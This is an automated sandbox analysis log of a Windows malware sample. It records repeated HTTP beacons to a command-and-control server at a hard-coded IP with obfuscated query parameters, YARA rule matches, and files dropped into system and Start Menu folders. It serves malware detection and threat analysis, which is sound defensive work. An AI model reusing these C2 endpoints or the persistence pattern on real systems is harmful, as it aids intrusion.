Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?2Axq4KFgntH6pOhfkXM061hX=JBth00EchN&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&2Axq4KFgntH6pOhfkXM061hX=JBth00EchN HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?2Axq4KFgntH6pOhfkXM061hX=JBth00EchN&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&2Axq4KFgntH6pOhfkXM061hX=JBth00EchN HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?lAhnJNadMavr7iaE=ZXVZQ&3Y9JuvB=DFJyj5HlpMCmNsD&Q7JLvKfEUznPKEqsL7rmyu=I9xsJXo7KUS2wlzq2jFduS1bkfT&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&lAhnJNadMavr7iaE=ZXVZQ&3Y9JuvB=DFJyj5HlpMCmNsD&Q7JLvKfEUznPKEqsL7rmyu=I9xsJXo7KUS2wlzq2jFduS1bkfT HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?lAhnJNadMavr7iaE=ZXVZQ&3Y9JuvB=DFJyj5HlpMCmNsD&Q7JLvKfEUznPKEqsL7rmyu=I9xsJXo7KUS2wlzq2jFduS1bkfT&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&lAhnJNadMavr7iaE=ZXVZQ&3Y9JuvB=DFJyj5HlpMCmNsD&Q7JLvKfEUznPKEqsL7rmyu=I9xsJXo7KUS2wlzq2jFduS1bkfT HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: unknown TCP traffic detected without corresponding DNS query: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?Qwo2irmnoV=YhU7MQKNp5jw68qGmj2EO9Q&XsrVJW5pTKYX7gxvZm1Wq9s31l9E=QdZRbjejzETA4cwkSJGvHolI3&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&Qwo2irmnoV=YhU7MQKNp5jw68qGmj2EO9Q&XsrVJW5pTKYX7gxvZm1Wq9s31l9E=QdZRbjejzETA4cwkSJGvHolI3 HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?Qwo2irmnoV=YhU7MQKNp5jw68qGmj2EO9Q&XsrVJW5pTKYX7gxvZm1Wq9s31l9E=QdZRbjejzETA4cwkSJGvHolI3&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&Qwo2irmnoV=YhU7MQKNp5jw68qGmj2EO9Q&XsrVJW5pTKYX7gxvZm1Wq9s31l9E=QdZRbjejzETA4cwkSJGvHolI3 HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?9uruRJY5g5=IAnyS9b03NXXhs5T9XXpeBele&beuHnDzuhvZR4ed0=EmX&CW0ZiI=TGgCTxi7G&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&9uruRJY5g5=IAnyS9b03NXXhs5T9XXpeBele&beuHnDzuhvZR4ed0=EmX&CW0ZiI=TGgCTxi7G HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?9uruRJY5g5=IAnyS9b03NXXhs5T9XXpeBele&beuHnDzuhvZR4ed0=EmX&CW0ZiI=TGgCTxi7G&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&9uruRJY5g5=IAnyS9b03NXXhs5T9XXpeBele&beuHnDzuhvZR4ed0=EmX&CW0ZiI=TGgCTxi7G HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?ZVSxTWRKIX4WAKi9eeqlLhfkTFe6=YMPLZX6E9wpNIWg&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&ZVSxTWRKIX4WAKi9eeqlLhfkTFe6=YMPLZX6E9wpNIWg HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?ZVSxTWRKIX4WAKi9eeqlLhfkTFe6=YMPLZX6E9wpNIWg&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&ZVSxTWRKIX4WAKi9eeqlLhfkTFe6=YMPLZX6E9wpNIWg HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?LysFYqMsinte=I6ADlK1LX&ca5T=9SGrVSUxhWH4wgrENNx0VJZ7p&JxuQodWZtQgCI6xIcrdPEoq9ONHdbz3=CXIhDQ&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&LysFYqMsinte=I6ADlK1LX&ca5T=9SGrVSUxhWH4wgrENNx0VJZ7p&JxuQodWZtQgCI6xIcrdPEoq9ONHdbz3=CXIhDQ HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?LysFYqMsinte=I6ADlK1LX&ca5T=9SGrVSUxhWH4wgrENNx0VJZ7p&JxuQodWZtQgCI6xIcrdPEoq9ONHdbz3=CXIhDQ&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&LysFYqMsinte=I6ADlK1LX&ca5T=9SGrVSUxhWH4wgrENNx0VJZ7p&JxuQodWZtQgCI6xIcrdPEoq9ONHdbz3=CXIhDQ HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?md25=UA&vb=r948xSj667Ud7PLnWmgd&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&md25=UA&vb=r948xSj667Ud7PLnWmgd HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?md25=UA&vb=r948xSj667Ud7PLnWmgd&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&md25=UA&vb=r948xSj667Ud7PLnWmgd HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?4DpgykXUnYal=5pRDw8u&VEaEdbRUQLKbDAyInpMt9jQQ58K=tH6x0e&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&4DpgykXUnYal=5pRDw8u&VEaEdbRUQLKbDAyInpMt9jQQ58K=tH6x0e HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?4DpgykXUnYal=5pRDw8u&VEaEdbRUQLKbDAyInpMt9jQQ58K=tH6x0e&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&4DpgykXUnYal=5pRDw8u&VEaEdbRUQLKbDAyInpMt9jQQ58K=tH6x0e HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?nTpz4tBkEffHSxvJX2feX5v=PFt&EW3lilo=8ZvGO6YDsWpwXo96D7U&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&nTpz4tBkEffHSxvJX2feX5v=PFt&EW3lilo=8ZvGO6YDsWpwXo96D7U HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?nTpz4tBkEffHSxvJX2feX5v=PFt&EW3lilo=8ZvGO6YDsWpwXo96D7U&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&nTpz4tBkEffHSxvJX2feX5v=PFt&EW3lilo=8ZvGO6YDsWpwXo96D7U HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?gcnWXuE9MUipBZc=bVK2py9yji&Y5YSB7xC1sNfAEv19t=v6&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&gcnWXuE9MUipBZc=bVK2py9yji&Y5YSB7xC1sNfAEv19t=v6 HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?gcnWXuE9MUipBZc=bVK2py9yji&Y5YSB7xC1sNfAEv19t=v6&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&gcnWXuE9MUipBZc=bVK2py9yji&Y5YSB7xC1sNfAEv19t=v6 HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?2Axq4KFgntH6pOhfkXM061hX=JBth00EchN&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&2Axq4KFgntH6pOhfkXM061hX=JBth00EchN HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?2Axq4KFgntH6pOhfkXM061hX=JBth00EchN&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&2Axq4KFgntH6pOhfkXM061hX=JBth00EchN HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?lAhnJNadMavr7iaE=ZXVZQ&3Y9JuvB=DFJyj5HlpMCmNsD&Q7JLvKfEUznPKEqsL7rmyu=I9xsJXo7KUS2wlzq2jFduS1bkfT&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&lAhnJNadMavr7iaE=ZXVZQ&3Y9JuvB=DFJyj5HlpMCmNsD&Q7JLvKfEUznPKEqsL7rmyu=I9xsJXo7KUS2wlzq2jFduS1bkfT HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?lAhnJNadMavr7iaE=ZXVZQ&3Y9JuvB=DFJyj5HlpMCmNsD&Q7JLvKfEUznPKEqsL7rmyu=I9xsJXo7KUS2wlzq2jFduS1bkfT&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&lAhnJNadMavr7iaE=ZXVZQ&3Y9JuvB=DFJyj5HlpMCmNsD&Q7JLvKfEUznPKEqsL7rmyu=I9xsJXo7KUS2wlzq2jFduS1bkfT HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 82.146.61.164
Source: QeWHGGzCXwoQygZUiDI.exe, 0000001A.00000002.2043423134.0000000002D02000.00000004.00000800.00020000.00000000.sdmp, QeWHGGzCXwoQygZUiDI.exe, 0000001A.00000002.2043423134.0000000002CD7000.00000004.00000800.00020000.00000000.sdmp, ApplicationFrameHost.exe, 0000001C.00000002.2080688928.0000000002CE8000.00000004.00000800.00020000.00000000.sdmp, ApplicationFrameHost.exe, 0000001C.00000002.2080688928.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://82.146.61.164
Source: ApplicationFrameHost.exe, 0000001C.00000002.2080688928.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Long
Source: B9exXW7c3t.exe, 00000000.00000002.2023417505.00000000031CB000.00000004.00000800.00020000.00000000.sdmp, QeWHGGzCXwoQygZUiDI.exe, 0000001A.00000002.2043423134.0000000002CD7000.00000004.00000800.00020000.00000000.sdmp, ApplicationFrameHost.exe, 0000001C.00000002.2080688928.0000000002CC9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 28.2.ApplicationFrameHost.exe.2b6eca8.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing many base64-encoded IR and analysis tools names Author: ditekSHen
Source: 26.2.QeWHGGzCXwoQygZUiDI.exe.2b7eff0.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing many base64-encoded IR and analysis tools names Author: ditekSHen
Source: 0.2.B9exXW7c3t.exe.2ee9680.10.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing many base64-encoded IR and analysis tools names Author: ditekSHen
Creates files inside the system directory
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe\:Zone.Identifier:$DATA Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Windows\SchCache\2e26acd4fd0504 Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Code function: 32_2_00007FF848F22220 32_2_00007FF848F22220
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Code function: 32_2_00007FF848F1A83D 32_2_00007FF848F1A83D
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Code function: 32_2_00007FF848F1ACDD 32_2_00007FF848F1ACDD
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Code function: 32_2_00007FF848F19BCD 32_2_00007FF848F19BCD
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Code function: 32_2_00007FF848F19BCD 32_2_00007FF848F19BCD
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Code function: 32_2_00007FF848F19BCD 32_2_00007FF848F19BCD
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Code function: 32_2_00007FF848F1ACAD 32_2_00007FF848F1ACAD
Sample file is different than original file name gathered from version info
Source: B9exXW7c3t.exe, 00000000.00000002.2023417505.0000000002E81000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilename( vs B9exXW7c3t.exe
Source: B9exXW7c3t.exe, 00000000.00000000.1993850598.0000000000AF2000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamelibcrypto$ vs B9exXW7c3t.exe
Source: B9exXW7c3t.exe, 00000000.00000002.2041161758.000000001BF19000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamelibcrypto vs B9exXW7c3t.exe
Source: B9exXW7c3t.exe, 00000000.00000002.2023194286.0000000002E00000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilename( vs B9exXW7c3t.exe
Source: B9exXW7c3t.exe, 00000000.00000002.2023325521.0000000002E30000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilename( vs B9exXW7c3t.exe
Source: B9exXW7c3t.exe, 00000000.00000002.2023417505.0000000002F57000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilename( vs B9exXW7c3t.exe
